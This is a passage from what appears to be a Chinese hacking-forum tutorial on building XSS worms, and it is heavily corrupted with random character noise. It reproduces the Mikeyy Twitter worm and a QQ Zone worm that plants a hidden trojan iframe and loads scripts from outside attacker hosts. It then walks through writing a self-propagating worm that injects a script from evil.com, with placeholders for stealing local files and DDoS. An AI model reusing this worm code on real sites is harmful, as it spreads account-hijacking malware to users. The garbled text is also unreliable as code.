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" O" I! z5 Y& x. r( t- e, l9 X1 B 11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
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12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
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: a# M+ a" |% U! R! K% G, ]4 _ 13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy."; # T8 C' O4 G9 w; C; X2 U
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14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
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15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
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4 h( q% O# s- _1 O0 i1 B5 ^7 d8 Y1 b 16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy."; 2 d9 A& @. D' ]4 a
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17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
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18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy."; / P" |9 O3 y2 g
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19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy."; 2 ~) G0 `( Y1 u7 N6 r
. v1 t" P2 R) K B) A k1 X* B' l 20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy."; , `* B6 K7 q' c* {; t j. _' ^+ ~
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21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";
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( D1 c& M9 s0 |! Y1 K2 _ 22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF"; ' W7 ?2 C5 g: _4 r/ Q# b
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23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe"; ; `! d- W- s# u; M& k
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24.
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; X5 @) m* p* _7 Y0 \/ y* \ 25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
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% p0 w% ~2 L; Y6 {1 `. Q 26. var updateEncode=urlencode(randomUpdate[genRand]); / N+ f- v5 ?. _, v! t& B" {
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27. 2 E9 a9 `. H% i5 }* O0 K
8 T- y" w, u. r" F 28. var ajaxConn= new XHConn();
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, Z6 O+ x9 u# s* S7 r4 e! H 29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
+ @% }% F9 i7 }! v
. J2 n8 y% _9 @ 30. var _0xf81bx1c="Mikeyy"; $ I; m) [ x: l
; q2 @, y$ S+ e8 L 31. var updateEncode=urlencode(_0xf81bx1c);
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; l/ U( `/ F" X! b) u 32. var ajaxConn1= new XHConn(); ' q% ]3 m% d) M1 g
. z1 d8 q. s4 a' K& [. k 33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");
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34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333"; . g4 Z! P" ^8 c: w& m
/ d: N) T" @$ } 35. var XSS=urlencode(genXSS);
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36. var ajaxConn2= new XHConn();
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37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes"); ; v- o1 r, z1 l z7 a% q
7 Z9 [6 y" S. {% f# h 38.
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39. } ;
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40. setTimeout(wait(),5250); $ I/ L* Z6 z w$ Y6 z6 o& c% @
复制代码QQ空间XSSfunction killErrors() {return true;}
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window.onerror=killErrors;
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7 }( S/ k# j5 A3 Hvar shendu;shendu=4;
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: J4 W1 A+ T5 q% y+ {- V: D//---------------global---v------------------------------------------
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//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?$ K* F/ J1 f ?6 F; N; P
9 U2 t1 }! G& {2 q: ?var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
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var myblogurl=new Array();var myblogid=new Array();
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6 e# u% ^/ ^' u% ] var gurl=document.location.href;
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2 J d, A; J: |+ l5 j. q% T var gurle=gurl.indexOf("com/");
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- z8 }" Q; K: I* G- C6 F( V gurl=gurl.substring(0,gurle+3);
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var visitorID=top.document.documentElement.outerHTML;
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4 e9 ~/ g6 S0 o% t! _7 B var cookieS=visitorID.indexOf("g_iLoginUin = ");
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visitorID=visitorID.substring(cookieS+14);7 w) l. m; I: i4 a: X: x
/ a; ^9 b% E; m# y1 ^6 m5 W cookieS=visitorID.indexOf(",");( k2 A5 d5 u8 k/ D3 \. w; W9 a" _
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visitorID=visitorID.substring(0,cookieS);! }9 K( l9 [: @
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get_my_blog(visitorID);) H' Y. ]1 U# Z: `! k: K, D
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DOshuamy();( K$ `6 ]" q- r' t$ l. I; i
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//挂马5 w7 G* Z) F& @7 f( h
: f4 x/ g, B; ~( H |' {; Qfunction DOshuamy(){% h+ o1 Y/ j' N: h, N
: a, U4 A& }$ C# |) V) O1 s3 rvar ssr=document.getElementById("veryTitle");' n5 c3 p* M' U2 P: i' W3 y7 I5 p
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ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");+ I8 q8 l7 q+ ]3 u. s" ~$ `
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0 U. u! i% W v) G7 o* Z
4 u7 _7 O; ?9 x! f//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?% F9 q o" u4 ?- H' x
- N) @4 E0 q8 a9 l" ffunction get_my_blog(visitorID){8 l+ w! A* W( i0 q9 V
: l9 C0 A3 K2 P* O$ g4 |9 r userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1"; ]4 H9 `/ V ]5 {4 w0 h
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xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象1 S# N5 I5 _) ?9 a
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if(xhr){ //成功就执行下面的9 r2 E- P! [* Y7 Y6 N1 H- M
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xhr.open("GET",userurl,false); //以GET方式打开定义的URL z# r$ `% v* j8 p# h" m
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xhr.send();guest=xhr.responseText;, q- C: E' _7 Q* K+ \2 d: l
- V3 l2 R( |9 A& Z8 G% k get_my_blogurl(guest); //执行这个函数
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}
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& `6 f# f/ W' ^7 @. V//这里似乎是判断没有登录的
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7 q4 w( m5 k/ m# L% l- g' Ffunction get_my_blogurl(guest){" r+ U" }$ P8 \# Q' L% d& ^1 I
6 x, p9 i, _, {
var mybloglist=guest;
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. u5 `- N8 r( b0 M var myurls;var blogids;var blogide;$ E' `* C- v; h; E7 M
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for(i=0;i<shendu;i++){& p' O8 [) @: [4 @5 X9 V5 S
7 V7 Q* Q% }) X7 i( a myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了
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if(myurls!=-1){ //找到了就执行下面的0 _# _: n+ Z' V2 d8 k% ~4 O1 w
* p; Z2 x6 s7 L! B, a mybloglist=mybloglist.substring(myurls+11);
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! y' w! u8 E" m3 o: T4 ]7 @ myurls=mybloglist.indexOf(')');
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( W1 e i m$ d) X* F p) i9 E myblogid=mybloglist.substring(0,myurls);2 J( }! S/ m0 a8 L5 d4 t* m
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}else{break;}
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get_my_testself(); //执行这个函数 W5 m' h) u" T3 F' [( V4 ?4 D! F2 x
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1 j& s8 U$ P2 c9 g
9 R3 `, @9 v7 L5 E2 f B' Q# `) F6 c4 n% ^6 t# F4 B
//这里往哪跳就不知道了/ u) a# ]/ R5 A. [: ~! u- X* u% B s5 d9 X
0 l7 p, s2 N+ @. F! I; N H7 [function get_my_testself(){( F/ V$ b, P! S, @! {
, O" A+ j& s* _4 c8 t) I" W5 @
for(i=0;i<myblogid.length;i++){ //获得blogid的值7 G. [7 z6 T( w3 X& T& v% R: }
7 A. F( i9 Y; g: A# P3 E! f+ _
var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();5 j* m/ o* p% [- n* ?* K
5 }! W5 J2 C/ s0 D( `% U7 l7 | var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象8 ?4 P8 [8 \" F/ |( j% V# M
6 z8 n; \/ k* j5 c
if(xhr2){ //如果成功
3 O& H# S: i6 ?1 z( F( T$ B7 G; C
/ K6 P4 y( s2 f, s5 E xhr2.open("GET",url,false); //打开上面的那个url
( g9 y3 t% B+ E; q/ Q5 S
# \) n* _3 z$ Y8 K1 }9 Q9 P9 k xhr2.send();
( v$ V; J' ?* F0 ] F4 w+ w. W
' r2 H+ b. j. f( V* x# K guest2=xhr2.responseText;
$ T& G* D$ u3 H) ^0 t! V1 M3 Z3 l& |5 ]* n/ e! \
var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?; f" r7 d8 u' q* D' D1 s. ?( }9 P
6 |% V) e. n0 w' _ var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
" v5 H/ |$ x& h M1 b& h# q: V5 l: H
* E* U/ B. }+ n: `7 ?( S if(mycheckmydoit!="-1"){ //返回-1则代表没找到0 X; i! N; B4 i [( h
& J0 M x! Y+ x* c* z targetblogurlid=myblogid; , Z5 Q9 F+ x- _& r
3 u& }' M1 @; [$ m4 c; C add_jsdel(visitorID,targetblogurlid,gurl); //执行它6 Q5 R$ N# U, T' E
- U/ s+ q$ Z) k* b0 C
break;- ]& S8 y" g* b. n# e
+ B6 k5 B% L, Y
}
7 F! N7 x, O0 ~ x* h- A3 D, h# @& G" Q/ E0 I- U
if(mycheckit=="-1"){: v; T& v4 O$ b
. d2 C( c' Q; p( p% X3 C: p targetblogurlid=myblogid;& D) c7 {" }0 d, v& w
8 `' c8 C( L$ T( f n add_js(visitorID,targetblogurlid,gurl); //执行它
. p. R! l7 g& B1 s6 L. B
0 B1 x) Z9 K: g1 l4 b break;
; Z# m8 f$ M( r" V6 R4 w$ o- b& l# y1 s# R0 `6 ]+ ]
}# j% D& F. y1 x4 ~
5 g+ t6 N% l) G( ?, q5 j
}
3 {- G7 b9 { k6 t# p
" q2 T8 t+ J0 E& P) c}, E4 l% `: P: M1 r4 S3 j
5 ` _" P1 C4 o}
. T! R4 q7 J9 q5 ]) ^: l, g1 z
: e3 z- x/ y7 } ?+ M# L6 n( X7 V5 a4 R. `# f3 U& V; S! b
& Y3 J8 T0 z/ Q: }//-------------------------------------- . k/ R) M: ^& z$ ~/ h) D" ?
1 v9 P% ?& ?: X9 R! E4 w
//根据浏览器创建一个XMLHttpRequest对象* E. R; [- ^/ s/ i1 n
2 B% h8 W; T3 y5 Y* x/ S
function createXMLHttpRequest(){
+ f! `& ?# Z3 x# X+ a' i' d5 S6 s; ]1 |0 w- ] E( S" g
var XMLhttpObject=null;
6 |! u* j+ g7 ]0 A- `& m; B5 i
2 y" S9 _0 F9 C8 L$ H" A if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}
' A% I7 c; @3 m( `2 W5 G* R5 H5 s' f9 U5 L
else 4 ~+ K: g4 [' D- O. ?/ Q* L! ]; R
8 [8 n. b: h! L/ {: D: \5 |! x+ k { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
. h/ g! k3 Q1 V9 d
/ p+ Z9 J; [ I& B for(var i=0;i<MSXML.length;i++)
$ K3 w7 W$ {- M3 Z: J8 k6 F0 G2 j5 ^
{ 9 S6 l6 q3 L( F: j. K/ [$ I
( A! O, E9 G7 f7 {( X. c
try
! M4 S4 k& d( m2 d3 B* M7 E& X1 r* y8 T$ y
{
8 H) z/ d& T' ~0 E* x
( s( z/ b: C- ?* J) G3 W XMLhttpObject=new ActiveXObject(MSXML);
1 ?# s# d; ^ P& A6 f. X
3 b: e6 _& u% {1 n1 X4 O( u break; 6 E ]% Q/ B0 e' N' V; X' B( H
9 S7 g( k! B3 D/ m, ] } ) P4 Y# x* b8 l; _3 g* }% r) i
0 G2 d4 t% v7 x8 X- o
catch (ex) { 4 I1 ^+ M7 g- m! b6 _
/ u v/ I2 R! q' [* W
}
' f) v. I" M' g0 [
# M, ?+ @+ w2 x0 x } , H% w' W7 J. G3 Q; Q
7 I) H/ z8 ?2 N, W7 v
}
* F" T4 @+ O* |
' N9 z% i' D7 K$ s+ \+ _2 Ireturn XMLhttpObject;' Q) Z& e2 a" p6 Q! u
, B; I$ d& ?4 d" e3 u+ b: l
} 3 @: y2 w$ N5 y7 T6 ?
( s4 W0 L" G5 ?) r8 Q# I
4 Y/ Y9 V( C6 v) w, ^& |0 t/ ]" v% J, X% _2 T
//这里就是感染部分了
$ H; }8 T3 E/ f, Q3 O# H6 C1 Y9 B+ t
function add_js(visitorID,targetblogurlid,gurl){! U1 Y% H1 E3 k7 X7 c* u% y
* }3 m' L5 w2 p" W- _) ivar s2=document.createElement('script');
$ p# I4 i; u- M1 J( r2 J) N
' ~; H" A4 l0 T. T0 c) _$ @s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
) z* `, s& n! d" s2 \+ O4 J7 k" ~+ s- O4 @
s2.type='text/javascript';
; D1 M1 B3 {7 ?: [$ {* C, o. x8 c0 i6 O
document.getElementsByTagName('head').item(0).appendChild(s2);
& K6 B5 u0 G! f! [ J3 ~+ ~* h6 H4 T) ^
}" w& k: P' N2 w; f; h
! a0 h# F$ b) [" l0 T3 }, e
e& i1 d& u3 o* C( I6 w: P
) V h5 Z" O5 l* V# j' kfunction add_jsdel(visitorID,targetblogurlid,gurl){ c9 f2 t7 _+ w
; ^8 s; t, ~7 `+ Q0 N i
var s2=document.createElement('script');
# X, G# l. ~5 f0 G/ o. Z7 l. B. Q9 i1 b+ z1 Y7 X. a2 ^# k. A
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
- |. v% h+ {; {8 M. V" e% Z d8 f% s8 X9 S: I# b
s2.type='text/javascript';
0 U! X6 l5 [# d4 s/ s3 F* n# m, @' t' r) Q8 I$ g7 n
document.getElementsByTagName('head').item(0).appendChild(s2);
3 J0 }+ B/ U2 p; u9 U* R X2 I- D
}
! l Q. f, ]. p2 u" O复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
% m2 W( }- ~$ O; @+ }1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.): B3 O. t& g* ] B* Z9 l
6 k, ^2 j3 L' ], \( _! H7 J
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)5 K9 J9 T+ P( u( ~/ H1 v# X7 |
% f5 F2 W4 P1 z+ t% ~1 v
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~) y. z+ Y- E, z1 ]: K* E
* k# J! v( H- t$ X8 i- [% X) J) o7 @ s
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
: R+ F; u- y4 r9 Q
! {& Q3 L6 u7 V+ K; C! ]首先,自然是判断不同浏览器,创建不同的对象var request = false;
9 r; \) I$ H* [# k7 M8 V- k5 n4 @8 Z6 M: U; i: M6 \6 P1 G
if(window.XMLHttpRequest) {, W& D) z& u+ K( l: Z5 D, Z
. h+ _$ N9 l# J, v# `
request = new XMLHttpRequest();' h& e" Q7 l4 C% d
( G/ I/ H% `* A: Y% Qif(request.overrideMimeType) {
$ Y. |5 T2 j. g
& A: V* w w$ [2 Erequest.overrideMimeType('text/xml');* l) r. C8 J, [6 I
3 O5 T' ~4 B4 }2 O1 ^: h}9 A( u* ^1 N" H! m: f
- B0 w9 O4 Y, B( G} else if(window.ActiveXObject) {
: a4 |9 I% e+ M& u6 ^" E/ T/ l/ z$ ]4 b! I# f' X
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];/ N5 ?* D' c3 t, d; }4 H5 a; v
" c+ N$ S$ L) ofor(var i=0; i<versions.length; i++) {. G7 u1 S: g7 ^3 K/ g1 m" t/ _
; Z L) \) `% k5 x& {
try {3 i% D/ x4 ^' N: z4 f. P0 j
/ e4 k: K+ v- L" `' f4 s! w
request = new ActiveXObject(versions);: ^4 o% ]- O# K5 |9 d9 _; X
8 {" [9 C6 \" _1 ^$ [} catch(e) {}. S5 E3 Y; A6 U7 M! @; {: P
+ w% u! I) B+ q8 e}8 b7 Q' V1 Z7 }' ~
5 E* T) \- K3 f- N+ d
}
9 l3 l1 M2 e6 h2 I7 o+ _
% k8 Y6 }( T6 Q& e! L$ V6 @xmlHttpReq=request;
& z$ g$ ] m2 ?. m& w8 j* m8 B复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){
( Q3 Q3 A) G3 s( X# ?+ w7 t7 C! n; }0 ]/ n3 Q
var Browser_Name=navigator.appName;# Y4 o5 M! r8 P( L! Q' O
: @+ t) u' H7 l# [$ \* \
var Browser_Version=parseFloat(navigator.appVersion);
4 e$ E: F, {: E5 k" {, L
9 b5 d. g9 z7 R5 u8 D% L' \" R var Browser_Agent=navigator.userAgent;
9 D& h! k+ D: ^5 y$ B4 O! F" ^$ ?$ K$ b4 P! ^7 S# K
' t; \, }5 t/ s5 [$ {: D$ l
, R* t7 ?+ @' D/ _ var Actual_Version,Actual_Name;
- R; T' G+ y! g( ]* B4 ^8 E* g( s: G6 ^. l6 } P9 Z# w& c, n
8 _" |8 b4 E: q+ H6 |. m. X3 m! F9 B9 A B
var is_IE=(Browser_Name=="Microsoft Internet Explorer");; U$ @: C8 l7 D$ W4 |
! d# {5 @8 e9 S: m* u; ~
var is_NN=(Browser_Name=="Netscape");
; D8 D7 i8 D5 Q
# {. P3 ?2 `# `2 h. E var is_Ch=(Browser_Name=="Chrome");
2 f! ]8 F. K" C" H3 U3 N, x8 I1 l4 H) L% l8 v! Q
9 m. [4 F! W: {3 {% X" R" d; s
/ N% u3 e: n& @) {0 Z if(is_NN){
+ F+ G; U% k$ V! I, o, T3 _3 W G2 }# o- p' K5 O. G
if(Browser_Version>=5.0){6 ?3 B k u7 {( I& L& e- |' a
& P/ I0 K6 e$ e% [/ C/ [7 } var Split_Sign=Browser_Agent.lastIndexOf("/");
- ?6 a6 Y, R% W$ e( C* l8 z$ {& a! ^+ V7 v: w; U9 C
var Version=Browser_Agent.indexOf(" ",Split_Sign);
' H% [6 u) \5 q# i- {' A& p( ~1 A; K; A
var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);) t |0 D6 W% @. b$ s
8 v% J7 c% R6 l9 a- D
, L8 I+ [0 t# w! A* J
3 y, r# n$ R0 W3 ~ Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);+ d/ L. L( }; p/ w1 W, y; |. i
, v1 K3 E' h& R+ e! _3 h# Z
Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);. c/ ^. z$ K; T$ x1 S
# w* [6 i3 K6 ?5 y) K+ x1 S, D2 b }& S' o. P; D: z0 O
$ H- E% g7 c, b+ F! c4 r [
else{ v( j3 X: ?9 O; v$ c
3 u2 Z' M- w5 h+ {1 K Actual_Version=Browser_Version;4 ]) V& g( v g+ n
' Y, t7 v6 [0 E, a( w; I) ~ Actual_Name=Browser_Name;
2 f1 m: H, Z2 `( `. s$ z+ A5 G# K; U0 O/ e$ w" a5 t& f. f3 B1 Z
}; d! k$ m/ S# W6 e8 d1 [ \
t0 C6 v) ]: {) U) Z1 V1 V
}; x6 N: ?# L) W) y4 T+ N8 X
; B# Z$ V! M& j$ b p N/ z5 v
else if(is_IE){
) g$ y% N( U0 t* X0 j F0 y4 c: ?- T8 R/ y& L
var Version_Start=Browser_Agent.indexOf("MSIE");
* X2 d. K5 K% L8 I/ d2 q
, C S0 y& e1 z* ^) c var Version_End=Browser_Agent.indexOf(";",Version_Start);* M" V# d F' t9 @& r" ]
/ Y# L, w% d1 `$ O/ s5 A+ o: A, v
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
+ p4 r. l$ l5 L- C
D9 T' m) a+ g7 j! a1 f Actual_Name=Browser_Name;8 e8 M& C; X) s( w* {
5 k! L4 B" P. k6 B( _5 e
9 x4 g0 g7 r0 U! L& S
6 ^" P3 F# q" @7 x+ x if(Browser_Agent.indexOf("Maxthon")!=-1){; `& j& b/ `) q" U/ \ ]5 ?3 W4 l0 T2 Z, A
1 u0 ^4 G" q! M, z9 _8 G Actual_Name+="(Maxthon)";
6 P( X' t) c6 f+ V1 Q' S7 a8 ^; F! m) C+ c
}
. m% q6 `) P+ C
* b' f+ `, _$ @! X else if(Browser_Agent.indexOf("Opera")!=-1){ j5 u7 r1 p4 l* ]% L7 I" f
/ M% i$ h2 X9 `; p6 D Actual_Name="Opera";
- Q, s6 x' I2 ?$ f; d. A6 j6 c8 x* d7 w- q+ q* S$ d
var tempstart=Browser_Agent.indexOf("Opera");
0 D' |1 W$ k$ T" e( \
+ @) _6 A3 L& V6 ?0 I& J6 P, F a) \ var tempend=Browser_Agent.length;) Y1 c9 x2 |, h, |
! k4 d+ W" L( C6 _+ E7 A3 g+ v T Actual_Version=Browser_Agent.substring(tempstart+6,tempend)6 r/ x9 Y: ~$ @* N! L- k9 R
9 G. a4 }* K1 X }- ~5 G7 O( \( ?" _+ T: `0 V
+ G/ i O1 L4 T; q; G
}
i3 Q0 R; U* K) B6 ~, b" A, b1 D9 A
" S" K( _2 g6 ^5 h8 Y else if(is_Ch){$ o5 ~3 m2 T% o4 ?0 \
v+ R% ?- Y6 p, m var Version_Start=Browser_Agent.indexOf("Chrome");
7 \% W: {4 S8 E6 F! ^1 C( [8 n. c1 H* V0 D: N" g1 |' p8 E
var Version_End=Browser_Agent.indexOf(";",Version_Start);
: q6 F( ?1 p3 I2 Z- L* K
$ c5 P& z7 d9 v% W" U# J: ?: e Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
, y* ]6 }+ |' Y7 x2 t: E, |0 t& H$ g; L% u) B* ^
Actual_Name=Browser_Name;3 f, w/ z' `4 n2 U) U
) p2 d$ i4 D7 Q
5 F' e% Y1 L" u2 R+ C7 i+ i) o* e# T( x L5 o3 L, k$ i
if(Browser_Agent.indexOf("Maxthon")!=-1){6 k* ^9 @/ c6 r2 S( G/ y6 x1 A
/ Z3 d o( }5 V Actual_Name+="(Maxthon)";/ b% m& F4 m0 E" N4 d
# G! ^$ } ?5 D& x7 A2 K
}
1 }5 z- _" R% i+ L0 F
! ^ g* a6 K+ E else if(Browser_Agent.indexOf("Opera")!=-1){
1 Y% \: D) G& c$ Q" W9 b. x* o
$ \1 S/ H: R; y Actual_Name="Opera";
, M H! R, k( |7 J1 Y' V1 Y: Q( _: t6 u" M6 [: b
var tempstart=Browser_Agent.indexOf("Opera");
" F' b- `: |" {6 X8 Y- H/ g$ n: m6 v; {5 Q5 z9 V [, l( i# p
var tempend=Browser_Agent.length;! p3 F/ t: S9 x; W S n" V7 h! t
: ~+ d, M* |- C7 \- }, \ Actual_Version=Browser_Agent.substring(tempstart+6,tempend)+ {, X) {/ K1 k) K
# g$ [. Q X: a3 B) Q+ K5 i+ @
}" y! U3 Z) I* t0 R, W
" R5 o7 P$ K ? }# Q* ]# u" ]% ?' V
/ e; p1 ^" ?" r/ L1 D
else{
1 U* h- L2 W5 O+ G: w
5 t# I2 p q% P Actual_Name="Unknown Navigator"
$ s5 Q' G5 ^; M8 Y% e% ?1 H( F, i# R
Actual_Version="Unknown Version"
$ E8 h7 _" s3 y* t* P6 k+ @4 C4 k
}9 s: {& E( A* F3 r1 R" g) e! }
+ G) i. M9 F; v
5 C; c; j5 i. \2 G6 S8 ~+ M: P
) l& r# z% _* Y x5 v- w; g. O navigator.Actual_Name=Actual_Name;' m, A/ Q7 [! B4 Y6 y
. s# G) ?: t2 q
navigator.Actual_Version=Actual_Version;
J& Z5 @ ], x$ b0 L8 A: r* R
6 n, z: |7 Q6 P; d* q' q' H+ B ( Y( g, `( F2 g; {. T4 w: }7 f
$ p) @- E: W, J9 M: }' C
this.Name=Actual_Name;' O9 r9 D6 E- a; _5 W, U
8 L4 y) d$ s+ ~% g8 I$ ^1 C$ F" ` this.Version=Actual_Version;8 i6 u3 T/ k. C) ^) J" C3 _
* b p5 j3 h; ~9 S1 K }
1 w1 \% \+ |. j& q' X7 O# o7 J$ c$ b! }/ c9 n+ H3 N
browserinfo();
8 ^6 i3 X( {8 z3 X+ E
8 g2 I/ F/ z; s* V if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}: n( ^0 f4 ]5 i7 u) s
4 r4 J; E$ y( c
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}, c; ~3 C# D# x8 J% g7 Y
1 E, H$ N! `/ z! D+ q if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
! R4 f8 n6 R. s8 X, @+ _' e/ v2 d: P: G3 P9 G5 i( t
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
5 @- G- s- R0 o) {9 H, I4 q# C复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码 l1 \7 y2 k+ s# g# ^* x
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码* Z! T Z! D" M! B6 v7 o
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.
. ]+ e1 n7 k4 N+ ?" B6 K0 ]+ [
6 G( T6 |! X7 j3 DxmlHttpReq.send(null);8 V8 H0 U$ r$ m/ Y; E( N' g1 q8 S5 t
% o. e. Z" _) V4 Y1 Y! e1 Lvar resource = xmlHttpReq.responseText;6 m9 v7 Y7 i l" ]$ j
5 X* Z. w1 C9 J) wvar id=0;var result;
' b) S7 F% Y8 _8 N) e7 T+ A* F5 H/ N
var patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.% ^9 w5 C* Z2 L2 O1 S* c
7 J1 h% u7 ?3 e! g
while ((result = patt.exec(resource)) != null) {
5 L# q) A! A- U' B& w
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w1 }; Y2 {$ ?6 a! {}
7 z8 Y3 i3 H. H { K' ^复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.
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7 A& `3 u- N4 x5 b; `no=resource.search(/my name is/);
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var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.& Z/ @% v* v% m8 E. J3 |" f
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var post="wd="+wd;7 C* w8 M0 N/ _9 B
/ M2 | F" p; i) oxmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.; J6 ^- C$ {* }$ ]- ?' f
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");8 n; i/ P) T; G, _% |* y' c
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xmlHttpReq.setRequestHeader("content-length",post.length); & j; Z6 L2 c% P/ n7 g, I
5 E& i. _ |0 a3 N4 WxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");/ H; V6 f4 Z7 B; [
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xmlHttpReq.send(post);
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复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
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var no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方8 Z% X. [0 y: ?6 ^
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var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.% i2 g, _! E) G* s
f1 W1 M& c9 S& lvar wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取./ r1 G7 Y3 x$ E: |5 B/ ]
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var post="wd="+wd;
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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# i* T# X4 q0 ]4 exmlHttpReq.setRequestHeader("content-length",post.length); , m9 y; a. s* B# c% f# s
2 k; g+ p" m4 W& g: dxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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9 C% h8 C$ P3 V- gxmlHttpReq.send(post); //把传播的信息 POST出去.
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复制代码-----------------------------------------------------总结-------------------------------------------------------------------
